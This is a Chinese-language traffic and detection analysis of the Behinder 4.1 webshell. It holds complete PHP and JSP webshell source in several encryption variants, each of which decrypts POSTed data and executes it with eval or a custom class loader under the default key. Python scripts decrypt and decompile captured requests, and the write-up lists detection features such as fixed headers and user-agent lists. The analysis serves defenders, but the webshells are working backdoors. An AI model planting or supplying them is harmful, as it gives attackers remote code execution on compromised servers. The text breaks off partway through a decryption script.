"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0",
"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"

Behinder4.1 PHP(default xor base64)

生成的webshell长这样
<?php
@error_reporting(0);
function Decrypt($data)
{
$key="e45e329feb5d925b";
$bs="base64_"."decode";
$after=$bs($data."");
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15];
}
return $after;
}
$post=Decrypt(file_get_contents("php://input"));
@eval($post);
?>
解密脚本
import base64
def decrypt(data: str) -> str:
"""
解密函数,对应 PHP 版本的 Decrypt
"""
key = "e45e329feb5d925b"
# 处理 Base64 编码数据长度问题,确保长度是 4 的倍数
missing_padding = len(data) % 4
if missing_padding:
data += '=' * (4 - missing_padding)
after = base64.b64decode(data)
after = bytearray(after)
for i in range(len(after)):
after[i] ^= ord(key[(i + 1) & 15])
return after.decode(errors='ignore')
# 示例使用
# 加密的 Base64 数据
encrypted_data = "dFAXQV1LORcHRQtLRlwMAhwFTAg/MwAQDFYQUF1bQghVXAsbFloJCxZQCk0bOGgeOT9sF0BcFRAOQUQEElQQF1VMTRoJNGxsRkcBSkdZFj4WRhFSRkwVRz8VWRlQVBEAAgE6VlxaCQEHHUZKR1YBAEdGRxoJNGxFQhVEHUBQERBYQT4RX0oBRz8VWRlQVBEAAgE6VlxaCQEHHUBaXVsWAFpBTAg/M0ZFQhUkSldGEQxbWzpARlgUEUocXxkSGk2AvKiAlLnc6vMRUBdKW1oMioi5jLKN3OPoAVoKV1dWFoGNvoCjvN790YS7wVtTVgkCRloQXVbW2umHpereiZgFAEBHAEBHVRKD9ZWCiqfd7NLRuvNQXVYNDAc4bjQ4FUJFFFAGW10ZAwsBRx1JRh0IFltbOlZcWgkBBx1AS1dGFwlAHEwIPzMbaGg/AkxcVhYMW1tFdlxaFBwSQUwdVlQWBB0/HjkSGUZFRl4BQA8XB1EBUFYBC18DB1dRXQsHV0BeFD9sVV1LTkELCFQCFlxeFkBHCVZcEUIBA0EFEAkRC04fHEVIOBlGRUI8QF1TQQM+EFw4Ew8ZQgEDQQViFlw/OxBeAEppHQ9OUxNVDG8OQm8UFUUTTzNGRUIVQFtBCEAHVUYABQZmREtAUApaXVEHRw8/bBdTXxIAEAhAW0EdRgFVQQQdEBtPXmgVRBkSRwcRQUcLExZYABEHR18zTz9GBltbEVZcTVtHO2EmSGEHVh9QB1BDZ3wSCABfCGpnTygKeXEnWmVsAigwfQB2f1gKNWdxBgZTfjAuB1hRVFdbMDNWfSNJf1cCPTVgLmFkBitVbQQCSWRxPDAzYSUIZ3MoKFYHAWBkVQlWLWIIalZzIC16cj9DU2wOVzZyNnxhWygqYGMBd2BxKFMAYhRYZFsSDmZwVGZTbhYhBgcMQH9iBip7bQ1nfXEWFS1gXXRRYygoVwU/RGNhJxw4B10NfFkGC3tzIAJRCBYtLwYASVdwNFBWBQEAU3wRUAdyHHRkYSgTZ15Ud1ZUKCcvfTVOYFkJElFeEWBRUyQ0OGEmUlZgJBNhTwljYQtfNjFjLnxWcCxVZ2IdYGhsHjY7XjZ3fwcWE1ZeHX9obSwWB18qbVMFKCZnBTMGZmErHyxwC0F/BAESeU8zdmMJCioGcTZVZXAoDG1PN2dnCVcILAYMf2VhLC1lYSMHZG4vHTRjKnBocywdbmIzdGR8Vy8AfTIIfHMKIFVPDUVWC15ROHIucFBeO1ZiBiNpYG0OKgdfDE1RbQ4SYGMJQWMKMAQ3cy4Kf2IwMm5jI3Z8fFZUL3EmcWgGOC5lBw4OEAJCBg1bEFxcQV8HVUYABQZmAgABWgBcGhEBClpBAF1GEF1oaFgFUFwdRgZbWxFWXE1PXg"
print(decrypt(encrypted_data))
首个数据包

第一个返回包没有返回有效数据,只是设置了一个cookie

第二个请求包,主要是获取phpinfo和本机的一些其它信息

第三个请求包执行了ls -la命令

总结:
同上
Behinder4.1 PHP(default_aes)
马长这样
<?php
@error_reporting(0);
function Decrypt($data)
{
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
}
$post=Decrypt(file_get_contents("php://input"));
@eval($post);
?>
解密代码
import base64
from Crypto.Cipher import AES
def decrypt(data, key):
# 修复Base64填充
data = data.lstrip("b'").rstrip("'") # 防止字符串边界问题
data = data.ljust(len(data) + (4 - len(data) % 4) % 4, '=')
cipher = AES.new(key.encode(), AES.MODE_ECB)
decrypted = cipher.decrypt(base64.b64decode(data))
# 特殊处理OpenSSL的PKCS1填充
pad_byte = decrypted[-1]
if 0 < pad_byte <= 16 and all(b == pad_byte for b in decrypted[-pad_byte:]):
decrypted = decrypted[:-pad_byte]
# 混合编码修复(优先GBK,其次UTF-8)
try:
return decrypted.decode('gbk', errors='replace').replace("�", "")
except:
return decrypted.decode('utf-8', errors='replace').replace("�", "")
key = "e45e329feb5d925b"
encrypted_text = "m7nCS8n4OZG9akdDlxm6OdJevs/jYQ5/IcXK/BRdpcFv7f8imFFvQ+reDIKsSdntnAAZgsvsuxSzbNvROe2x3T0ECkYmfDr4PauMBj0tTuqNmf8aYy7VuaNVKW4oO2EPo82Qbs2Qxr+w9eNU+a+zlJDuotvQFPDUanHHvZixFQCFl0avzfEy2aQQrWYg3JVGwldq3fdIM6we7CkL/JW2DVsOoY36+0uZEohEFIGyAyAj9NpE/1XPvdgNBNw87FQYsUYOFOdAS2Jz44v7DC78+95goiVjnacj5/Kr13KaIPZMLxZ0EVZbmmXeOEGbkq6MzjZdVl/ir3OfalM8iddyHdsLmYqZTG8wXtVouI/rZPLXUsC6DznVjKBeqCTLUrilUI2tGMQGsOiZpse1ZXNftXYgNNdlNu4AB+foQljol0Xn9NIh/GJoM+zBU5Y5222c93WDx5rhjPRpq0LefBQTk71gx0ZWEBiUQJQwKfmB8Zlycx/vAXzkTk33TnA2y3obxN0/Ts39HbFw4RVzAqZcRMQ17bICZtFqrGMeXCh+1i2Eg0cdxFpOViK5c8a2du0Q55lOIzs4WcLmaLIr+MParZD1v3I57KMcJ1DZfQGFdWz1q0mD5JGzLApUf7bnu4mYIhUxs/fiHTgs5rS+vFUB80sGuGN0b9Lzr4SrfeU7ClOUZrzKwzhBRBfx+FKHMoAWCDJu1b6wCvrqiCG+vU0lQNptyKQzKQ4ZmIsikJ8joUWZHUpDQIRHm7rz9FA0/aZVdPmoAgKA6vDqFaUnfqPnOmVr+A/vNzYD0A/WniGqFsUrhv3QJJi7yYSGHlxPYSzhmouwZyzPscwLsJRoXSM5a7L4dXuHZgMRePL3Bvd6HBD533tte64s03178oomXC8sh23axmDryq1MriInOwKwXw39sNwh1LTbftsC68ZB7JM33PJj9BvosHBW1hBQddV68eyBRHJrLlZ99yjcj0HM/qzjKRRabP+4nkrxAzdFsSQ"
print(decrypt(encrypted_text, key))
Behinder4.1 PHP(aes_with_magic)
<?php
@error_reporting(0);
function Decrypt($data)
{
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的�?16位,默认连接密码rebeyond
$magicNum=hexdec(substr($key,0,2))%16; //取magic tail长度
$data=substr($data,0,strlen($data)-$magicNum); //截掉magic tail
return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
}
$post=Decrypt(file_get_contents("php://input"));
@eval($post);
?>
解密
import base64
from Crypto.Cipher import AES
def decrypt(data, key):
# 计算magic_num(精确匹配PHP)
hex_val = int(key[:2], 16)
magic_num = hex_val % 16
# 截断magic tail(安全处理)
if magic_num and len(data) > magic_num:
data = data[:-magic_num]
# Base64填充修复
data = data.ljust(len(data) + (4 - len(data) % 4) % 4, '=')
# Base64解码(兼容处理)
try:
encrypted = base64.b64decode(data)
except:
encrypted = base64.b64decode(data + "==="[:len(data)%4])
# 块对齐关键修复(正确语法)
block_size = 16
pad_len = (block_size - len(encrypted) % block_size) % block_size
encrypted += bytes([0] * pad_len) # 正确闭合括号
# AES解密
cipher = AES.new(key.encode(), AES.MODE_ECB)
decrypted = cipher.decrypt(encrypted)
# PKCS7去填充
pad_byte = decrypted[-1]
if 0 < pad_byte <= block_size and all(b == pad_byte for b in decrypted[-pad_byte:]):
decrypted = decrypted[:-pad_byte]
# 编码自动探测
for encoding in ['gb18030', 'utf-8', 'latin1']:
try:
return decrypted.decode(encoding)
except:
continue
return decrypted.hex()
# 测试数据
key = "e45e329feb5d925b"
encrypted_data = ""
print(decrypt(encrypted_data, key))

总结
特征1:明文开头是 @error_reporting(0);
特征2:因为随机数的原因,每次的长度不会一样,且加密,对ids,ips等设备具备一定反制效果
特征3:Accept字段默认为application/json, text/javascript, /; q=0.01。Content-type 为:application/x-www-form-urlencoded。使用长连接,Connection为Keep-Alive。内置ua头。
冰蝎(JSP)
Behinder4.1 JSP(default)
jsp
<%@ page import="java.util.*, javax.crypto.*, javax.crypto.spec.*" %>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b"; // 该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
new U(this.getClass().getClassLoader())
.g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())))
.newInstance()
.equals(pageContext);
}
%>
解密,ascii输出decrypted_class_file.class文件,使用cfr反编译https://github.com/leibnitz27/cfr
import base64
import subprocess
from Crypto.Cipher import AES
# 密钥
key = "e45e329feb5d925b".encode('utf-8')
# 解密函数
def decrypt(encrypted_data):
cipher = AES.new(key, AES.MODE_ECB)
decrypted_data = cipher.decrypt(base64.b64decode(encrypted_data))
return decrypted_data.rstrip(b'\0') # 去除填充,返回原始字节数据
# 示例加密数据(替换为你实际的加密数据)
encrypted_data = ''''''
# 解密并输出明文
try:
plaintext = decrypt(encrypted_data)
print("Decrypted Data (Raw Bytes):")
print(plaintext) # 输出原始字节数据
# 将解密后的字节数据保存为 .class 文件
class_filename = "decrypted_class_file.class"
with open(class_filename, "wb") as class_file:
class_file.write(plaintext)
print(f"\nDecrypted class file saved as '{class_filename}'")
# 调用 CFR 反编译
cfr_jar_path = "cfr-0.152.jar" # 确保此路径正确
try:
print("\nRunning CFR to decompile the .class file...")
result = subprocess.run(
["java", "-jar", cfr_jar_path, class_filename],
capture_output=True,
text=True
)
print("\nDecompiled Java Source Code:")
print(result.stdout)
except Exception as e:
print(f"\nFailed to run CFR: {e}")
except Exception as e:
print(f"Decryption failed: {e}")

第一个包请求包内容
/*
* 该类是一个 Webshell,具备数据加密、JSON 处理和动态执行能力。
* 通过反射调用 HTTP 请求和响应对象,隐蔽性较强。
*/
package com.awcdnw.svsydjn.mwdnf;
import java.lang.reflect.Method;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class Uuusjggxt {
public static String content;
public static String payloadBody;
private Object Request;
private Object Response;
private Object Session;
// 构造方法,初始化 content 变量,可能用于存储加密数据
public Uuusjggxt() {
content = "";
content += "D5FWxV1YvKoJ8C8QYXY...(省略大量加密数据)...";
}
/*
* equals 方法处理 HTTP 交互,接收请求后返回加密数据
*/
public boolean equals(Object obj) {
LinkedHashMap<String, String> result = new LinkedHashMap<>();
this.fillContext(obj); // 填充 HTTP 上下文信息
result.put("status", "success");
result.put("msg", content);
try {
// 通过反射获取 OutputStream,并写入加密的 JSON 数据
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
Method write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, new Object[]{this.Encrypt(this.buildJson(result, true).getBytes("UTF-8"))});
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception e) {
e.printStackTrace();
}
return true;
}
// 构造 JSON 格式数据,并可进行 Base64 编码
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
sb.append("{");
for (String key : entity.keySet()) {
sb.append("\"" + key + "\":\"");
String value = entity.get(key);
if (encode) {
value = this.base64encode(value.getBytes()); // Base64 编码
}
sb.append(value).append("\",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("}");
return sb.toString();
}
// 填充 HTTP 请求、响应和 Session 对象
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().contains("PageContext")) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map<?, ?> objMap = (Map<?, ?>) obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
// Base64 编码,兼容不同 Java 版本
private String base64encode(byte[] data) throws Exception {
String result = "";
try {
Class<?> Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder").invoke(Base64);
result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, new Object[]{data});
} catch (Throwable error) {
Class<?> Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
result = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, new Object[]{data});
result = result.replace("\n", "").replace("\r", "");
}
return result;
}
// 生成随机字节数据,可能用于混淆或校验
private byte[] getMagic() throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];
for (int i = 0; i < buf.length; i++) {
buf[i] = (byte) random.nextInt(256);
}
return buf;
}
// 使用 AES-ECB 加密数据,并进行 Base64 编码
private byte[] Encrypt(byte[] data) throws Exception {
String key = "e45e329feb5d925b";
SecretKeySpec secretKeySpec = new SecretKeySpec(key.getBytes("utf-8"), "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec);
byte[] encrypted = cipher.doFinal(data);
try {
Class<?> clazz = Class.forName("java.util.Base64");
Object encoder = clazz.getMethod("getEncoder").invoke(clazz);
encrypted = (byte[]) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, new Object[]{encrypted});
} catch (Throwable throwable) {
Class<?> clazz = Class.forName("sun.misc.BASE64Encoder");
Object encoder = clazz.newInstance();
String encodedString = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, new Object[]{encrypted});
encodedString = encodedString.replace("\n", "").replace("\r", "");
encrypted = encodedString.getBytes();
}
return encrypted;
}
}
返回包返回success与填充物
第二个请求包获取系统信息,回显以下内容

第三个请求包是我执行的命令,在函数Kgycg里

第三个包返回结果

总结,冰蝎的jsp马与php马不同,默认的的马是aes后传给后端处理,如果要读取明文,需要解密后进行反编译
没有明显的强特征。
特征1:因为随机数的原因,每次的长度不会一样,且加密,对ids,ips等设备具备一定反制效果,且解密后需要反编译,如果安全设备能够解密,对性能也有一定影响。

特征2:Accept字段默认为application/json, text/javascript, /; q=0.01。Content-type 为:application/x-www-form-urlencoded。使用长连接,Connection为Keep-Alive。内置ua头
"Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0",
"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0",
"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"
特征3:首次交互后服务端返回cookie

Behinder4.1 JSP(default_xor)
马
<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception
{
String key="e45e329feb5d925b";
for (int i = 0; i < data.length; i++) {
data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));
}
return data;
}
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length=request.getInputStream().read(buf);
while (length>0)
{
byte[] data= Arrays.copyOfRange(buf,0,length);
bos.write(data);
length=request.getInputStream().read(buf);
}
/* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容�??
out.clear();
out=pageContext.pushBody();
*/
out.clear();
out=pageContext.pushBody();
new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
%>
解密
import binascii
import subprocess
def decrypt(data_hex):
key = b"e45e329feb5d925b"
data = binascii.unhexlify(data_hex) # 先将 hex 解码为字节数据
decrypted = bytearray(len(data))
for i in range(len(data)):
decrypted[i] = data[i] ^ key[(i + 1) & 15] # 逐字节异或解密
return decrypted
# 十六进制加密数据
encrypted_hex = ''''''
decrypted_data = decrypt(encrypted_hex)
# 保存为 class 文件
with open("decrypted_class_file.class", "wb") as f:
f.write(decrypted_data)
# 调用 CFR 反编译
subprocess.run(["java", "-jar", "cfr-0.152.jar", "decrypted_class_file.class"])
Behinder4.1 JSP(default_xor_base64)
马
<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception
{
byte[] decodebs;
Class baseCls ;
try{
baseCls=Class.forName("java.util.Base64");
Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
}
catch (Throwable e)
{
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder=baseCls.newInstance();
decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});
}
String key="e45e329feb5d925b";
for (int i = 0; i < decodebs.length; i++) {
decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));
}
return decodebs;
}
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length=request.getInputStream().read(buf);
while (length>0)
{
byte[] data= Arrays.copyOfRange(buf,0,length);
bos.write(data);
length=request.getInputStream().read(buf);
}
/* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容�??
out.clear();
out=pageContext.pushBody();
*/
out.clear();
out=pageContext.pushBody();
new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
%>
解密
import base64
import binascii
import subprocess
import os
def decrypt(data: bytes) -> bytes:
key = b"e45e329feb5d925b" # 解密密钥
try:
# 尝试进行base64解码
decoded_data = base64.b64decode(data)
except Exception:
try:
# 如果base64解码失败,使用另一种解码方式
from base64 import decodebytes
decoded_data = decodebytes(data)
except Exception as e:
raise ValueError(f"无法解码数据: {e}")
decrypted_data = bytearray(decoded_data)
for i in range(len(decrypted_data)):
# 对每个字节执行异或解密
decrypted_data[i] ^= key[(i + 1) & 15] # 密钥循环使用
return bytes(decrypted_data)
def run_cfr_decompiler(input_file: str) -> None:
"""
使用CFR反编译工具对Java字节码文件进行反编译,并将结果输出到控制台。
:param input_file: 输入的字节码文件路径 (.class文件)
"""
# 修改为cfr-0.152.jar
cfr_command = ["java", "-jar", "cfr-0.152.jar", input_file]
try:
result = subprocess.run(cfr_command, check=True, capture_output=True, text=True)
print(result.stdout) # 打印反编译结果到控制台
except subprocess.CalledProcessError as e:
print(f"CFR反编译过程中发生错误:{e}")
print(e.stderr)
def process_hex_data(hex_data: str) -> bytes:
"""
处理十六进制数据,转换为字节数据并进行解密。
:param hex_data: 十六进制字符串数据
:return: 解密后的字节数据
"""
try:
# 将十六进制字符串转换为字节
binary_data = binascii.unhexlify(hex_data)
except binascii.Error:
raise ValueError("提供的十六进制字符串不正确")
# 使用解密函数
decrypted_data = decrypt(binary_data)
return decrypted_data
# 示例调用
hex_data = "" # 例如 "4a6f686e446f65" 替换成你的十六进制数据
# 处理并解密class文件
decrypted_data = process_hex_data(hex_data)
# 将解密后的字节数据保存为临时文件
with open("decrypted_class_file.class", "wb") as temp_file:
temp_file.write(decrypted_data)
# 使用本地 cfr-0.152.jar 反编译工具进行反编译并输出到控制台
run_cfr_decompiler("decrypted_class_file.class")
# 删除临时解密后的class文件
os.remove("decrypted_class_file.class")
Behinder4.1 JSP(default_aes)
马
<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception
{
String k="e45e329feb5d925b";
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));
byte[] decodebs;
Class baseCls ;
try{
baseCls=Class.forName("java.util.Base64");
Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
}
catch (Throwable e)
{
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder=baseCls.newInstance();
decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});
}
return c.doFinal(decodebs);
}
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length=request.getInputStream().read(buf);
while (length>0)
{
byte[] data= Arrays.copyOfRange(buf,0,length);
bos.write(data);
length=request.getInputStream().read(buf);
}
/* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容�??
out.clear();
out=pageContext.pushBody();
*/
out.clear();
out=pageContext.pushBody();
new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
%>
解密
import base64
import subprocess
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import os
# AES解密函数
def decrypt(data: bytes) -> bytes:
# 密钥与 Java 代码中的一致
key = b"e45e329feb5d925b"
# 使用 AES 解密(ECB 模式和 PKCS5 填充)
cipher = AES.new(key, AES.MODE_ECB)
# Base64解码
try:
decoded_data = base64.b64decode(data)
except Exception:
# 如果 base64 解码失败,尝试使用另一个解码方法
decoded_data = base64.decodebytes(data)
# 解密数据并去除填充
decrypted_data = unpad(cipher.decrypt(decoded_data), AES.block_size)
return decrypted_data
# 调用CFR进行反编译
def run_cfr_decompiler(input_file: str) -> None:
"""
使用CFR反编译工具对Java字节码文件进行反编译,并将结果输出到控制台。
:param input_file: 输入的字节码文件路径 (.class文件)
"""
cfr_command = ["java", "-jar", "cfr-0.152.jar", input_file]
try:
result = subprocess.run(cfr_command, check=True, capture_output=True, text=True)
print(result.stdout) # 打印反编译结果到控制台
except subprocess.CalledProcessError as e:
print(f"CFR反编译过程中发生错误:{e}")
print(e.stderr)
# 处理十六进制数据并解密
def process_hex_data(hex_data: str) -> bytes:
"""
处理十六进制数据,转换为字节数据并进行解密。
:param hex_data: 十六进制字符串数据
:return: 解密后的字节数据
"""
try:
# 将十六进制字符串转换为字节
binary_data = bytes.fromhex(hex_data)
except ValueError:
raise ValueError("提供的十六进制字符串不正确")
# 使用解密函数
decrypted_data = decrypt(binary_data)
return decrypted_data
# 示例调用
hex_data = "" # 例如 "4a6f686e446f65" 替换成你的十六进制数据
# 处理并解密class文件
decrypted_data = process_hex_data(hex_data)
# 将解密后的字节数据保存为临时文件
with open("decrypted_class_file.class", "wb") as temp_file:
temp_file.write(decrypted_data)
# 使用本地 cfr-0.152.jar 反编译工具进行反编译并输出到控制台
run_cfr_decompiler("decrypted_class_file.class")
# 删除临时解密后的class文件
os.remove("decrypted_class_file.class")
Behinder4.1 JSP(default_image)未验证
马
<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,966,data.length-966);
return bos.toByteArray();
}
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length=request.getInputStream().read(buf);
while (length>0)
{
byte[] data= Arrays.copyOfRange(buf,0,length);
bos.write(data);
length=request.getInputStream().read(buf);
}
/* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容�??
out.clear();
out=pageContext.pushBody();
*/
out.clear();
out=pageContext.pushBody();
new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
%>
解密
import subprocess
import os
# 解密函数,只提取字节数据从第 966 个字节开始的部分
def decrypt(data: bytes) -> bytes:
return data[966:] # 从第 966 个字节开始提取
# 调用CFR进行反编译
def run_cfr_decompiler(input_file: str) -> None:
"""
使用CFR反编译工具对Java字节码文件进行反编译,并将结果输出到控制台。
:param input_file: 输入的字节码文件路径 (.class文件)
"""
cfr_command = ["java", "-jar", "cfr-0.152.jar", input_file]
try:
result = subprocess.run(cfr_command, check=True, capture_output=True, text=True)
print(result.stdout) # 打印反编译结果到控制台
except subprocess.CalledProcessError as e:
print(f"CFR反编译过程中发生错误:{e}")
print(e.stderr)
# 处理十六进制数据并解密
def process_hex_data(hex_data: str) -> bytes:
"""
处理十六进制数据,转换为字节数据并进行解密。
:param hex_data: 十六进制字符串数据
:return: 解密后的字节数据
"""
try:
# 将十六进制字符串转换为字节
binary_data = bytes.fromhex(hex_data)
except ValueError:
raise ValueError("提供的十六进制字符串不正确")
# 使用解密函数
decrypted_data = decrypt(binary_data)
return decrypted_data
# 示例调用
hex_data = "你的十六进制数据" # 例如 "4a6f686e446f65" 替换成你的十六进制数据
# 处理并解密class文件
decrypted_data = process_hex_data(hex_data)
# 将解密后的字节数据保存为临时文件
with open("decrypted_class_file.class", "wb") as temp_file:
temp_file.write(decrypted_data)
# 使用本地 cfr-0.152.jar 反编译工具进行反编译并输出到控制台
run_cfr_decompiler("decrypted_class_file.class")
# 删除临时解密后的class文件
os.remove("decrypted_class_file.class")
Behinder4.1 JSP(default_json)未验证
马
<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,26,data.length-29);
return java.util.Base64.getDecoder().decode(new String(bos.toByteArray()).replace("<","+").replace(">","/"));
}
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length=request.getInputStream().read(buf);
while (length>0)
{
byte[] data= Arrays.copyOfRange(buf,0,length);
bos.write(data);
length=request.getInputStream().read(buf);
}
/* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容�??
out.clear();
out=pageContext.pushBody();
*/
out.clear();
out=pageContext.pushBody();
new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
%>
解密
import base64
import subprocess
import os
# 解密函数
def decrypt(data: bytes) -> bytes:
"""
1. 截取字节数据,从索引26开始,去掉最后3个字节。
2. 替换 `<` 为 `+`,`>` 为 `/`,然后进行 Base64 解码。
"""
extracted_data = data[26:-3] # 截取指定范围
modified_str = extracted_data.decode(errors="ignore").replace("<", "+").replace(">", "/") # 进行字符替换
decoded_data = base64.b64decode(modified_str) # Base64 解码
return decoded_data
# 调用 CFR 进行反编译
